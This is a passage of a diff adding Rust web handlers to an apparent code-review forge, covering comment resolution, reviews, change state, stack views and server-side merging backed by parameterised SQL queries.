| 514 | + | touch(&state, l.change.id).await; | |
| 515 | + | ||
| 516 | + | // Back to where the comment was written: the diff for an inline comment, | |
| 517 | + | // the overview for a top-level one. | |
| 518 | + | Ok(if is_inline { | |
| 519 | + | Redirect::to(&format!( | |
| 520 | + | "{}/changes/{}/files{}", | |
| 521 | + | l.ctx.base(), | |
| 522 | + | l.change.number, | |
| 523 | + | form.rev | |
| 524 | + | .as_deref() | |
| 525 | + | .map(|r| format!("?rev={r}")) | |
| 526 | + | .unwrap_or_default() | |
| 527 | + | )) | |
| 528 | + | .into_response() | |
| 529 | + | } else { | |
| 530 | + | Redirect::to(&format!("{}/changes/{}", l.ctx.base(), l.change.number)).into_response() | |
| 531 | + | }) | |
| 532 | + | } | |
| 533 | + | ||
| 534 | + | /// `POST /{owner}/{repo}/changes/{ref}/comments/{id}/resolve` | |
| 535 | + | pub async fn resolve_comment( | |
| 536 | + | State(state): State<AppState>, | |
| 537 | + | UrlPath((owner, name, reference, comment_id)): UrlPath<(String, String, String, Uuid)>, | |
| 538 | + | CurrentUser(user): CurrentUser, | |
| 539 | + | CsrfToken(csrf): CsrfToken, | |
| 540 | + | ) -> AppResult<Response> { | |
| 541 | + | let Some(user) = user else { | |
| 542 | + | return Err(AppError::Unauthorized); | |
| 543 | + | }; | |
| 544 | + | let l = match load(&state, &owner, &name, &reference, Some(&user), &csrf, "").await? { | |
| 545 | + | Ok(l) => l, | |
| 546 | + | Err(_) => return Err(AppError::NotFound), | |
| 547 | + | }; | |
| 548 | + | if !l.can_manage { | |
| 549 | + | return Err(AppError::Forbidden); | |
| 550 | + | } | |
| 551 | + | ||
| 552 | + | // Scoped to this change, so a comment id from another repository does | |
| 553 | + | // nothing here. | |
| 554 | + | sqlx::query( | |
| 555 | + | "UPDATE comments SET resolved_at = now(), resolved_by = $3 | |
| 556 | + | WHERE id = $1 AND change_id_fk = $2 AND resolved_at IS NULL", | |
| 557 | + | ) | |
| 558 | + | .bind(comment_id) | |
| 559 | + | .bind(l.change.id) | |
| 560 | + | .bind(user.id) | |
| 561 | + | .execute(&state.db) | |
| 562 | + | .await?; | |
| 563 | + | ||
| 564 | + | Ok(back(&l, "")) | |
| 565 | + | } | |
| 566 | + | ||
| 567 | + | // ─── reviews ───────────────────────────────────────────────────────────────── | |
| 568 | + | ||
| 569 | + | #[derive(Deserialize)] | |
| 570 | + | pub struct NewReview { | |
| 571 | + | pub verdict: String, | |
| 572 | + | pub body: Option<String>, | |
| 573 | + | } | |
| 574 | + | ||
| 575 | + | /// `POST /{owner}/{repo}/changes/{ref}/reviews` | |
| 576 | + | pub async fn create_review( | |
| 577 | + | State(state): State<AppState>, | |
| 578 | + | UrlPath((owner, name, reference)): UrlPath<(String, String, String)>, | |
| 579 | + | CurrentUser(user): CurrentUser, | |
| 580 | + | CsrfToken(csrf): CsrfToken, | |
| 581 | + | Form(form): Form<NewReview>, | |
| 582 | + | ) -> AppResult<Response> { | |
| 583 | + | let Some(user) = user else { | |
| 584 | + | return Err(AppError::Unauthorized); | |
| 585 | + | }; | |
| 586 | + | let l = match load(&state, &owner, &name, &reference, Some(&user), &csrf, "").await? { | |
| 587 | + | Ok(l) => l, | |
| 588 | + | Err(_) => return Err(AppError::NotFound), | |
| 589 | + | }; | |
| 590 | + | if !l.ctx.access.can_comment() { | |
| 591 | + | return Err(AppError::Forbidden); | |
| 592 | + | } | |
| 593 | + | ||
| 594 | + | if !matches!(form.verdict.as_str(), "approve" | "request_changes" | "comment") { | |
| 595 | + | return Ok(back(&l, "Unknown verdict.")); | |
| 596 | + | } | |
| 597 | + | ||
| 598 | + | // A review is *of a revision*, not of a change. That is what makes an | |
| 599 | + | // approval go stale when the author pushes again, and it is the whole point | |
| 600 | + | // of indexing revisions separately. | |
| 601 | + | let Some(head) = l.head() else { | |
| 602 | + | return Ok(back(&l, "This change has no revisions to review.")); | |
| 603 | + | }; | |
| 604 | + | let revision_id: Uuid = | |
| 605 | + | sqlx::query_scalar("SELECT id FROM revisions WHERE change_id_fk = $1 AND rev = $2") | |
| 606 | + | .bind(l.change.id) | |
| 607 | + | .bind(head) | |
| 608 | + | .fetch_one(&state.db) | |
| 609 | + | .await?; | |
| 610 | + | ||
| 611 | + | sqlx::query( | |
| 612 | + | "INSERT INTO reviews (id, change_id_fk, revision_id, reviewer_id, verdict, body) | |
| 613 | + | VALUES ($1, $2, $3, $4, $5::review_verdict, $6)", | |
| 614 | + | ) | |
| 615 | + | .bind(new_id()) | |
| 616 | + | .bind(l.change.id) | |
| 617 | + | .bind(revision_id) | |
| 618 | + | .bind(user.id) | |
| 619 | + | .bind(&form.verdict) | |
| 620 | + | .bind(form.body.as_deref().map(str::trim).filter(|s| !s.is_empty())) | |
| 621 | + | .execute(&state.db) | |
| 622 | + | .await?; | |
| 623 | + | ||
| 624 | + | event( | |
| 625 | + | &state, | |
| 626 | + | l.ctx.repo.id, | |
| 627 | + | Some(user.id), | |
| 628 | + | "change.reviewed", | |
| 629 | + | l.change.id, | |
| 630 | + | serde_json::json!({ "verdict": form.verdict }), | |
| 631 | + | ) | |
| 632 | + | .await; | |
| 633 | + | touch(&state, l.change.id).await; | |
| 634 | + | ||
| 635 | + | Ok(back(&l, "")) | |
| 636 | + | } | |
| 637 | + | ||
| 638 | + | // ─── state and editing ─────────────────────────────────────────────────────── | |
| 639 | + | ||
| 640 | + | #[derive(Deserialize)] | |
| 641 | + | pub struct EditChange { | |
| 642 | + | pub title: String, | |
| 643 | + | pub description: Option<String>, | |
| 644 | + | } | |
| 645 | + | ||
| 646 | + | /// `POST /{owner}/{repo}/changes/{ref}/edit` | |
| 647 | + | pub async fn edit( | |
| 648 | + | State(state): State<AppState>, | |
| 649 | + | UrlPath((owner, name, reference)): UrlPath<(String, String, String)>, | |
| 650 | + | CurrentUser(user): CurrentUser, | |
| 651 | + | CsrfToken(csrf): CsrfToken, | |
| 652 | + | Form(form): Form<EditChange>, | |
| 653 | + | ) -> AppResult<Response> { | |
| 654 | + | let Some(user) = user else { | |
| 655 | + | return Err(AppError::Unauthorized); | |
| 656 | + | }; | |
| 657 | + | let l = match load(&state, &owner, &name, &reference, Some(&user), &csrf, "").await? { | |
| 658 | + | Ok(l) => l, | |
| 659 | + | Err(_) => return Err(AppError::NotFound), | |
| 660 | + | }; | |
| 661 | + | if !l.can_manage { | |
| 662 | + | return Err(AppError::Forbidden); | |
| 663 | + | } | |
| 664 | + | ||
| 665 | + | let title: String = form.title.trim().chars().take(300).collect(); | |
| 666 | + | if title.is_empty() { | |
| 667 | + | return Ok(back(&l, "A change needs a title.")); | |
| 668 | + | } | |
| 669 | + | ||
| 670 | + | let description = form.description.as_deref().unwrap_or("").trim(); | |
| 671 | + | ||
| 672 | + | sqlx::query( | |
| 673 | + | "UPDATE changes SET title = $2, description = $3, updated_at = now() WHERE id = $1", | |
| 674 | + | ) | |
| 675 | + | .bind(l.change.id) | |
| 676 | + | .bind(&title) | |
| 677 | + | .bind(description) | |
| 678 | + | .execute(&state.db) | |
| 679 | + | .await?; | |
| 680 | + | ||
| 681 | + | // `#123` in a change description makes the issue show the change under | |
| 682 | + | // "Referenced by". Recorded on write rather than scanned on read. | |
| 683 | + | crate::routes::issue::record_references( | |
| 684 | + | &state, | |
| 685 | + | l.ctx.repo.id, | |
| 686 | + | "change", | |
| 687 | + | l.change.id, | |
| 688 | + | description, | |
| 689 | + | ) | |
| 690 | + | .await; | |
| 691 | + | ||
| 692 | + | Ok(back(&l, "")) | |
| 693 | + | } | |
| 694 | + | ||
| 695 | + | #[derive(Deserialize)] | |
| 696 | + | pub struct SetState { | |
| 697 | + | pub state: String, | |
| 698 | + | } | |
| 699 | + | ||
| 700 | + | /// `POST /{owner}/{repo}/changes/{ref}/state` | |
| 701 | + | /// | |
| 702 | + | /// Draft, abandon, and reopen. These are the states the *author* owns; the | |
| 703 | + | /// indexer computes merged and must never overwrite them (decided, and pinned | |
| 704 | + | /// by `indexer::next_state`). | |
| 705 | + | pub async fn set_state( | |
| 706 | + | State(state): State<AppState>, | |
| 707 | + | UrlPath((owner, name, reference)): UrlPath<(String, String, String)>, | |
| 708 | + | CurrentUser(user): CurrentUser, | |
| 709 | + | CsrfToken(csrf): CsrfToken, | |
| 710 | + | Form(form): Form<SetState>, | |
| 711 | + | ) -> AppResult<Response> { | |
| 712 | + | let Some(user) = user else { | |
| 713 | + | return Err(AppError::Unauthorized); | |
| 714 | + | }; | |
| 715 | + | let l = match load(&state, &owner, &name, &reference, Some(&user), &csrf, "").await? { | |
| 716 | + | Ok(l) => l, | |
| 717 | + | Err(_) => return Err(AppError::NotFound), | |
| 718 | + | }; | |
| 719 | + | if !l.can_manage { | |
| 720 | + | return Err(AppError::Forbidden); | |
| 721 | + | } | |
| 722 | + | ||
| 723 | + | // `merged` is not settable here: it is a fact about the target bookmark, and | |
| 724 | + | // letting the UI assert it would make the state lie about the repository. | |
| 725 | + | let next = match form.state.as_str() { | |
| 726 | + | "draft" => "draft", | |
| 727 | + | "open" => "open", | |
| 728 | + | "abandoned" => "abandoned", | |
| 729 | + | _ => return Ok(back(&l, "Unknown state.")), | |
| 730 | + | }; | |
| 731 | + | ||
| 732 | + | sqlx::query("UPDATE changes SET state = $2::change_state, updated_at = now() WHERE id = $1") | |
| 733 | + | .bind(l.change.id) | |
| 734 | + | .bind(next) | |
| 735 | + | .execute(&state.db) | |
| 736 | + | .await?; | |
| 737 | + | ||
| 738 | + | let kind = match (l.change.state.as_str(), next) { | |
| 739 | + | (_, "draft") => "change.drafted", | |
| 740 | + | (_, "abandoned") => "change.abandoned", | |
| 741 | + | ("draft", "open") => "change.ready", | |
| 742 | + | (_, "open") => "change.reopened", | |
| 743 | + | _ => "change.updated", | |
| 744 | + | }; | |
| 745 | + | event(&state, l.ctx.repo.id, Some(user.id), kind, l.change.id, serde_json::json!({})).await; | |
| 746 | + | ||
| 747 | + | Ok(back(&l, "")) | |
| 748 | + | } | |
| 749 | + | ||
| 750 | + | // ─── stacks ────────────────────────────────────────────────────────────────── | |
| 751 | + | ||
| 752 | + | /// `GET /{owner}/{repo}/stacks/{change_id}` | |
| 753 | + | pub async fn stack( | |
| 754 | + | State(state): State<AppState>, | |
| 755 | + | UrlPath((owner, name, change_id)): UrlPath<(String, String, String)>, | |
| 756 | + | CurrentUser(user): CurrentUser, | |
| 757 | + | CsrfToken(csrf): CsrfToken, | |
| 758 | + | Nonce(nonce): Nonce, | |
| 759 | + | ) -> AppResult<Response> { | |
| 760 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 761 | + | ||
| 762 | + | let nodes = load_stack(&state, ctx.repo.id, &change_id).await?; | |
| 763 | + | if nodes.is_empty() { | |
| 764 | + | return Err(AppError::NotFound); | |
| 765 | + | } | |
| 766 | + | ||
| 767 | + | let body = maud::html! { | |
| 768 | + | (rv::header(&ctx, "changes")) | |
| 769 | + | (v::stack(&ctx, &nodes, &change_id)) | |
| 770 | + | @if nodes.len() > 1 && ctx.access.can_manage_changes() { | |
| 771 | + | div .panel { | |
| 772 | + | form method="post" action=(format!("{}/stacks/{change_id}/merge", ctx.base())) { | |
| 773 | + | input type="hidden" name="_csrf" value=(csrf); | |
| 774 | + | button .btn.btn-primary type="submit" { "Merge stack" } | |
| 775 | + | p .hint { | |
| 776 | + | "Lands the whole chain bottom-up in one action. If any change in \ | |
| 777 | + | the stack is conflicted or not ready, nothing is merged." | |
| 778 | + | } | |
| 779 | + | } | |
| 780 | + | } | |
| 781 | + | } | |
| 782 | + | }; | |
| 783 | + | ||
| 784 | + | Ok(views::page( | |
| 785 | + | Chrome { | |
| 786 | + | title: &format!("Stack · {}/{}", ctx.owner, ctx.repo.name), | |
| 787 | + | user: user.as_deref(), | |
| 788 | + | csrf: &csrf, | |
| 789 | + | nonce: &nonce, | |
| 790 | + | }, | |
| 791 | + | body, | |
| 792 | + | ) | |
| 793 | + | .into_response()) | |
| 794 | + | } | |
| 795 | + | ||
| 796 | + | /// Walk `change_edges` down to the bottom of the stack and back up. | |
| 797 | + | /// | |
| 798 | + | /// Reads the precomputed edges rather than the commit graph — spec §4: "do not | |
| 799 | + | /// recompute the graph on page render". | |
| 800 | + | async fn load_stack( | |
| 801 | + | state: &AppState, | |
| 802 | + | repo_id: Uuid, | |
| 803 | + | change_id: &str, | |
| 804 | + | ) -> AppResult<Vec<v::StackNode>> { | |
| 805 | + | // A recursive CTE in both directions from the requested change. Depth is | |
| 806 | + | // bounded so a cycle in the edge table — which should be impossible, but the | |
| 807 | + | // page must not hang if one ever appears — terminates. | |
| 808 | + | let rows: Vec<(i64, String, bool, String, String, bool, i32)> = sqlx::query_as( | |
| 809 | + | r#" | |
| 810 | + | WITH RECURSIVE start AS ( | |
| 811 | + | SELECT id FROM changes WHERE repo_id = $1 AND change_id = $2 | |
| 812 | + | ), | |
| 813 | + | down AS ( | |
| 814 | + | SELECT c.id, 0 AS depth FROM changes c JOIN start s ON s.id = c.id | |
| 815 | + | UNION ALL | |
| 816 | + | SELECT e.parent_change, d.depth - 1 | |
| 817 | + | FROM change_edges e JOIN down d ON d.id = e.child_change | |
| 818 | + | WHERE e.repo_id = $1 AND d.depth > -50 | |
| 819 | + | ), | |
| 820 | + | up AS ( | |
| 821 | + | SELECT c.id, 0 AS depth FROM changes c JOIN start s ON s.id = c.id | |
| 822 | + | UNION ALL | |
| 823 | + | SELECT e.child_change, u.depth + 1 | |
| 824 | + | FROM change_edges e JOIN up u ON u.id = e.parent_change | |
| 825 | + | WHERE e.repo_id = $1 AND u.depth < 50 | |
| 826 | + | ), | |
| 827 | + | all_nodes AS ( | |
| 828 | + | SELECT id, min(depth) AS depth FROM ( | |
| 829 | + | SELECT id, depth FROM down UNION ALL SELECT id, depth FROM up | |
| 830 | + | ) x GROUP BY id | |
| 831 | + | ) | |
| 832 | + | SELECT c.number, c.change_id, c.synthetic, c.title, c.state::text, c.conflicted, | |
| 833 | + | (n.depth - (SELECT min(depth) FROM all_nodes))::int AS rel_depth | |
| 834 | + | FROM all_nodes n JOIN changes c ON c.id = n.id | |
| 835 | + | ORDER BY n.depth | |
| 836 | + | "#, | |
| 837 | + | ) | |
| 838 | + | .bind(repo_id) | |
| 839 | + | .bind(change_id) | |
| 840 | + | .fetch_all(&state.db) | |
| 841 | + | .await?; | |
| 842 | + | ||
| 843 | + | Ok(rows | |
| 844 | + | .into_iter() | |
| 845 | + | .map( | |
| 846 | + | |(number, cid, synthetic, title, st, conflicted, depth)| v::StackNode { | |
| 847 | + | is_current: cid == change_id, | |
| 848 | + | number, | |
| 849 | + | change_id: cid, | |
| 850 | + | synthetic, | |
| 851 | + | title, | |
| 852 | + | state: st, | |
| 853 | + | conflicted, | |
| 854 | + | depth: depth.max(0) as usize, | |
| 855 | + | }, | |
| 856 | + | ) | |
| 857 | + | .collect()) | |
| 858 | + | } | |
| 859 | + | ||
| 860 | + | // ─── loading helpers ───────────────────────────────────────────────────────── | |
| 861 | + | ||
| 862 | + | async fn load_comments( | |
| 863 | + | state: &AppState, | |
| 864 | + | ctx: &RepoContext, | |
| 865 | + | change_id: Uuid, | |
| 866 | + | ) -> AppResult<Vec<v::CommentRow>> { | |
| 867 | + | type Row = ( | |
| 868 | + | Uuid, | |
| 869 | + | String, | |
| 870 | + | String, | |
| 871 | + | chrono::DateTime<chrono::Utc>, | |
| 872 | + | Option<chrono::DateTime<chrono::Utc>>, | |
| 873 | + | Option<String>, | |
| 874 | + | Option<i32>, | |
| 875 | + | Option<String>, | |
| 876 | + | String, | |
| 877 | + | Option<String>, | |
| 878 | + | Option<chrono::DateTime<chrono::Utc>>, | |
| 879 | + | ); | |
| 880 | + | ||
| 881 | + | let rows: Vec<Row> = sqlx::query_as( | |
| 882 | + | "SELECT c.id, u.handle::text, c.body, c.created_at, c.edited_at, | |
| 883 | + | c.anchor_path, c.anchor_line, c.anchor_side, c.anchor_state::text, | |
| 884 | + | c.anchor_context, c.resolved_at | |
| 885 | + | FROM comments c JOIN users u ON u.id = c.author_user_id | |
| 886 | + | WHERE c.change_id_fk = $1 | |
| 887 | + | ORDER BY c.created_at", | |
| 888 | + | ) | |
| 889 | + | .bind(change_id) | |
| 890 | + | .fetch_all(&state.db) | |
| 891 | + | .await?; | |
| 892 | + | ||
| 893 | + | Ok(rows | |
| 894 | + | .into_iter() | |
| 895 | + | .map(|r| v::CommentRow { | |
| 896 | + | id: r.0, | |
| 897 | + | author: r.1, | |
| 898 | + | // Comment bodies are user input rendered on our origin, so they go | |
| 899 | + | // through the same sanitiser a README does, and then get their | |
| 900 | + | // cross-references resolved. | |
| 901 | + | body_html: crate::routes::issue::render(ctx, &r.2), | |
| 902 | + | created_at: r.3, | |
| 903 | + | edited: r.4.is_some(), | |
| 904 | + | anchor_path: r.5, | |
| 905 | + | anchor_line: r.6, | |
| 906 | + | anchor_side: r.7, | |
| 907 | + | anchor_state: r.8, | |
| 908 | + | anchor_context: r.9, | |
| 909 | + | resolved: r.10.is_some(), | |
| 910 | + | }) | |
| 911 | + | .collect()) | |
| 912 | + | } | |
| 913 | + | ||
| 914 | + | async fn load_reviews( | |
| 915 | + | state: &AppState, | |
| 916 | + | ctx: &RepoContext, | |
| 917 | + | change_id: Uuid, | |
| 918 | + | head: Option<&str>, | |
| 919 | + | ) -> AppResult<Vec<v::ReviewRow>> { | |
| 920 | + | let rows: Vec<(String, String, Option<String>, chrono::DateTime<chrono::Utc>, String)> = | |
| 921 | + | sqlx::query_as( | |
| 922 | + | "SELECT u.handle::text, r.verdict::text, r.body, r.created_at, rev.rev | |
| 923 | + | FROM reviews r | |
| 924 | + | JOIN users u ON u.id = r.reviewer_id | |
| 925 | + | JOIN revisions rev ON rev.id = r.revision_id | |
| 926 | + | WHERE r.change_id_fk = $1 | |
| 927 | + | ORDER BY r.created_at DESC", | |
| 928 | + | ) | |
| 929 | + | .bind(change_id) | |
| 930 | + | .fetch_all(&state.db) | |
| 931 | + | .await?; | |
| 932 | + | ||
| 933 | + | Ok(rows | |
| 934 | + | .into_iter() | |
| 935 | + | .map(|(reviewer, verdict, body, created_at, rev)| v::ReviewRow { | |
| 936 | + | is_head: head == Some(rev.as_str()), | |
| 937 | + | rev: df_store::abbreviate_rev(&rev).to_owned(), | |
| 938 | + | reviewer, | |
| 939 | + | verdict, | |
| 940 | + | body_html: body.map(|b| crate::routes::issue::render(ctx, &b)).unwrap_or_default(), | |
| 941 | + | created_at, | |
| 942 | + | }) | |
| 943 | + | .collect()) | |
| 944 | + | } | |
| 945 | + | ||
| 946 | + | async fn load_events( | |
| 947 | + | state: &AppState, | |
| 948 | + | repo_id: Uuid, | |
| 949 | + | change_id: Uuid, | |
| 950 | + | ) -> AppResult<Vec<v::EventRow>> { | |
| 951 | + | let rows: Vec<(String, Option<String>, chrono::DateTime<chrono::Utc>, serde_json::Value)> = | |
| 952 | + | sqlx::query_as( | |
| 953 | + | "SELECT e.kind, u.handle::text, e.created_at, e.payload | |
| 954 | + | FROM events e LEFT JOIN users u ON u.id = e.actor_id | |
| 955 | + | WHERE e.repo_id = $1 AND e.subject_type = 'change' AND e.subject_id = $2 | |
| 956 | + | -- `change.commented` duplicates the comment itself in the | |
| 957 | + | -- timeline; the comment is the better rendering of it. | |
| 958 | + | AND e.kind <> 'change.commented' | |
| 959 | + | ORDER BY e.created_at | |
| 960 | + | LIMIT 200", | |
| 961 | + | ) | |
| 962 | + | .bind(repo_id) | |
| 963 | + | .bind(change_id) | |
| 964 | + | .fetch_all(&state.db) | |
| 965 | + | .await?; | |
| 966 | + | ||
| 967 | + | Ok(rows | |
| 968 | + | .into_iter() | |
| 969 | + | .map(|(kind, actor, created_at, payload)| v::EventRow { | |
| 970 | + | kind, | |
| 971 | + | actor, | |
| 972 | + | created_at, | |
| 973 | + | payload, | |
| 974 | + | }) | |
| 975 | + | .collect()) | |
| 976 | + | } | |
| 977 | + | ||
| 978 | + | // ─── small helpers ─────────────────────────────────────────────────────────── | |
| 979 | + | ||
| 980 | + | /// Record a timeline event. Best-effort — losing one must not fail the action | |
| 981 | + | /// that caused it, but it is logged loudly because a gap in the timeline is not | |
| 982 | + | /// something a reader can detect. | |
| 983 | + | pub async fn event( | |
| 984 | + | state: &AppState, | |
| 985 | + | repo_id: Uuid, | |
| 986 | + | actor: Option<Uuid>, | |
| 987 | + | kind: &str, | |
| 988 | + | subject: Uuid, | |
| 989 | + | payload: serde_json::Value, | |
| 990 | + | ) { | |
| 991 | + | if let Err(e) = sqlx::query( | |
| 992 | + | "INSERT INTO events (id, repo_id, actor_id, kind, subject_type, subject_id, payload) | |
| 993 | + | VALUES ($1, $2, $3, $4, 'change', $5, $6)", | |
| 994 | + | ) | |
| 995 | + | .bind(new_id()) | |
| 996 | + | .bind(repo_id) | |
| 997 | + | .bind(actor) | |
| 998 | + | .bind(kind) | |
| 999 | + | .bind(subject) | |
| 1000 | + | .bind(payload) | |
| 1001 | + | .execute(&state.db) | |
| 1002 | + | .await | |
| 1003 | + | { | |
| 1004 | + | tracing::error!(%kind, "writing a timeline event failed: {e}"); | |
| 1005 | + | } | |
| 1006 | + | } | |
| 1007 | + | ||
| 1008 | + | /// Bump `updated_at` so the change list orders by real activity, not just pushes. | |
| 1009 | + | async fn touch(state: &AppState, change_id: Uuid) { | |
| 1010 | + | let _ = sqlx::query("UPDATE changes SET updated_at = now() WHERE id = $1") | |
| 1011 | + | .bind(change_id) | |
| 1012 | + | .execute(&state.db) | |
| 1013 | + | .await; | |
| 1014 | + | } | |
| 1015 | + | ||
| 1016 | + | fn back(l: &Loaded, error: &str) -> Response { | |
| 1017 | + | let base = format!("{}/changes/{}", l.ctx.base(), l.change.number); | |
| 1018 | + | if error.is_empty() { | |
| 1019 | + | Redirect::to(&base).into_response() | |
| 1020 | + | } else { | |
| 1021 | + | Redirect::to(&format!("{base}?error={}", urlencode(error))).into_response() | |
| 1022 | + | } | |
| 1023 | + | } | |
| 1024 | + | ||
| 1025 | + | // ─── merging (decided §13.2, §13.3) ────────────────────────────────────────── | |
| 1026 | + | ||
| 1027 | + | /// `POST /{owner}/{repo}/changes/{ref}/merge` | |
| 1028 | + | /// | |
| 1029 | + | /// Server-side fast-forward, falling back to a merge commit (decided §13.2). | |
| 1030 | + | /// Refuses on conflict without writing anything. | |
| 1031 | + | pub async fn merge( | |
| 1032 | + | State(state): State<AppState>, | |
| 1033 | + | UrlPath((owner, name, reference)): UrlPath<(String, String, String)>, | |
| 1034 | + | CurrentUser(user): CurrentUser, | |
| 1035 | + | CsrfToken(csrf): CsrfToken, | |
| 1036 | + | ) -> AppResult<Response> { | |
| 1037 | + | let Some(user) = user else { | |
| 1038 | + | return Err(AppError::Unauthorized); | |
| 1039 | + | }; | |
| 1040 | + | let l = match load(&state, &owner, &name, &reference, Some(&user), &csrf, "").await? { | |
| 1041 | + | Ok(l) => l, | |
| 1042 | + | Err(_) => return Err(AppError::NotFound), | |
| 1043 | + | }; | |
| 1044 | + | ||
| 1045 | + | // Merging is a maintainer action even for your own change: landing work on | |
| 1046 | + | // a shared bookmark is not the same permission as writing it. | |
| 1047 | + | if !l.ctx.access.can_manage_changes() { | |
| 1048 | + | return Err(AppError::Forbidden); | |
| 1049 | + | } | |
| 1050 | + | if l.ctx.repo.archived { | |
| 1051 | + | return Ok(back(&l, "This repository is archived.")); | |
| 1052 | + | } | |
| 1053 | + | ||
| 1054 | + | match land(&state, &l.ctx, &l.change, &user).await? { | |
| 1055 | + | Landed::Ok(msg) => { | |
| 1056 | + | enqueue_reindex(&state, l.ctx.repo.id).await; | |
| 1057 | + | Ok(back_notice(&l, &msg)) | |
| 1058 | + | } | |
| 1059 | + | Landed::Refused(msg) => Ok(back(&l, &msg)), | |
| 1060 | + | } | |
| 1061 | + | } | |
| 1062 | + | ||
| 1063 | + | /// `POST /{owner}/{repo}/stacks/{change_id}/merge` | |
| 1064 | + | /// | |
| 1065 | + | /// Decided §13.3: "Merge stack" lands the whole chain bottom-up in one action. | |
| 1066 | + | /// | |
| 1067 | + | /// Bottom-up matters: landing the top of a stack first would either fail or | |
| 1068 | + | /// pull the changes below it in as an unreviewed side effect. If any change in | |
| 1069 | + | /// the chain refuses, the ones already landed stay landed and the rest do not — | |
| 1070 | + | /// reported precisely, because pretending it was atomic would be a lie about | |
| 1071 | + | /// what is on the bookmark. | |
| 1072 | + | pub async fn merge_stack( | |
| 1073 | + | State(state): State<AppState>, | |
| 1074 | + | UrlPath((owner, name, change_id)): UrlPath<(String, String, String)>, | |
| 1075 | + | CurrentUser(user): CurrentUser, | |
| 1076 | + | ) -> AppResult<Response> { | |
| 1077 | + | let Some(user) = user else { | |
| 1078 | + | return Err(AppError::Unauthorized); | |
| 1079 | + | }; | |
| 1080 | + | let ctx = RepoContext::load(&state, &owner, &name, Some(&user)).await?; | |
| 1081 | + | if !ctx.access.can_manage_changes() { | |
| 1082 | + | return Err(AppError::Forbidden); | |
| 1083 | + | } | |
| 1084 | + | if ctx.repo.archived { | |
| 1085 | + | return Err(AppError::BadRequest("This repository is archived.".into())); | |
| 1086 | + | } | |
| 1087 | + | ||
| 1088 | + | let nodes = load_stack(&state, ctx.repo.id, &change_id).await?; | |
| 1089 | + | if nodes.is_empty() { | |
| 1090 | + | return Err(AppError::NotFound); | |
| 1091 | + | } | |
| 1092 | + | ||
| 1093 | + | // `load_stack` returns bottom-first; that is the order to land in. | |
| 1094 | + | let mut landed = 0usize; | |
| 1095 | + | let mut refusal: Option<String> = None; | |
| 1096 | + | ||
| 1097 | + | for node in &nodes { | |
| 1098 | + | let record = match resolve_change(&state, ctx.repo.id, &node.number.to_string()).await? { | |
| 1099 | + | Resolution::One(c) => *c, | |
| 1100 | + | _ => continue, | |
| 1101 | + | }; | |
| 1102 | + | ||
| 1103 | + | if record.state == "merged" { | |
| 1104 | + | continue; | |
| 1105 | + | } | |
| 1106 | + | if record.state == "abandoned" || record.state == "draft" { | |
| 1107 | + | refusal = Some(format!( | |
| 1108 | + | "#{} is {} — nothing after it was merged.", | |
| 1109 | + | record.number, record.state | |
| 1110 | + | )); | |
| 1111 | + | break; | |
| 1112 | + | } | |
| 1113 | + | ||
| 1114 | + | match land(&state, &ctx, &record, &user).await? { | |
| 1115 | + | Landed::Ok(_) => landed += 1, | |
| 1116 | + | Landed::Refused(msg) => { | |
| 1117 | + | refusal = Some(format!("#{}: {msg} Nothing after it was merged.", record.number)); | |
| 1118 | + | break; | |
| 1119 | + | } | |
| 1120 | + | } | |
| 1121 | + | } | |
| 1122 | + | ||
| 1123 | + | enqueue_reindex(&state, ctx.repo.id).await; | |
| 1124 | + | ||
| 1125 | + | let message = match refusal { | |
| 1126 | + | Some(r) => format!("Merged {landed} change(s), then stopped. {r}"), | |
| 1127 | + | None => format!("Merged {landed} change(s)."), | |
| 1128 | + | }; | |
| 1129 | + | ||
| 1130 | + | Ok(Redirect::to(&format!( | |
| 1131 | + | "{}/stacks/{change_id}?notice={}", | |
| 1132 | + | ctx.base(), | |
| 1133 | + | urlencode(&message) | |
| 1134 | + | )) | |
| 1135 | + | .into_response()) | |
| 1136 | + | } | |
| 1137 | + | ||
| 1138 | + | enum Landed { | |
| 1139 | + | Ok(String), | |
| 1140 | + | Refused(String), | |
| 1141 | + | } | |
| 1142 | + | ||
| 1143 | + | /// Land one change onto its target bookmark and record the result. | |
| 1144 | + | async fn land( | |
| 1145 | + | state: &AppState, | |
| 1146 | + | ctx: &RepoContext, | |
| 1147 | + | change: &ChangeRecord, | |
| 1148 | + | actor: &df_db::models::User, | |
| 1149 | + | ) -> AppResult<Landed> { | |
| 1150 | + | if change.conflicted { | |
| 1151 | + | return Ok(Landed::Refused( | |
| 1152 | + | "This change is conflicted; resolve it in your working copy and push again.".into(), | |
| 1153 | + | )); | |
| 1154 | + | } | |
| 1155 | + | if change.state == "merged" { | |
| 1156 | + | return Ok(Landed::Ok("Already merged.".into())); | |
| 1157 | + | } | |
| 1158 | + | if change.state != "open" { | |
| 1159 | + | return Ok(Landed::Refused(format!( | |
| 1160 | + | "A change in state {} cannot be merged.", | |
| 1161 | + | change.state | |
| 1162 | + | ))); | |
| 1163 | + | } | |
| 1164 | + | ||
| 1165 | + | let head: Option<String> = sqlx::query_scalar( | |
| 1166 | + | "SELECT rev FROM revisions WHERE change_id_fk = $1 ORDER BY seq DESC LIMIT 1", | |
| 1167 | + | ) | |
| 1168 | + | .bind(change.id) | |
| 1169 | + | .fetch_optional(&state.db) | |
| 1170 | + | .await?; | |
| 1171 | + | ||
| 1172 | + | let Some(head) = head else { | |
| 1173 | + | return Ok(Landed::Refused("This change has no revisions.".into())); | |
| 1174 | + | }; | |
| 1175 | + | ||
| 1176 | + | // The merge commit is attributed to whoever pressed the button, with their | |
| 1177 | + | // handle rather than their email — the email is an OIDC claim we are told | |
| 1178 | + | // not to key on and should not scatter into commit objects. | |
| 1179 | + | let author = df_store::Signature { | |
| 1180 | + | name: actor.label().to_owned(), | |
| 1181 | + | email: format!("{}@users.noreply.{}", actor.handle, state.config.host()), | |
| 1182 | + | when: chrono::Utc::now(), | |
| 1183 | + | }; | |
| 1184 | + | ||
| 1185 | + | let message = format!( | |
| 1186 | + | "Merge change #{} into {}\n\n{}\n\nChange-Id: {}\n", | |
| 1187 | + | change.number, change.target_bookmark, change.title, change.change_id | |
| 1188 | + | ); | |
| 1189 | + | ||
| 1190 | + | let outcome = match state | |
| 1191 | + | .store | |
| 1192 | + | .merge( | |
| 1193 | + | ctx.store_id(), | |
| 1194 | + | &change.target_bookmark, | |
| 1195 | + | &RevId::from_stored(head.clone()), | |
| 1196 | + | &message, | |
| 1197 | + | &author, | |
| 1198 | + | ) | |
| 1199 | + | .await | |
| 1200 | + | { | |
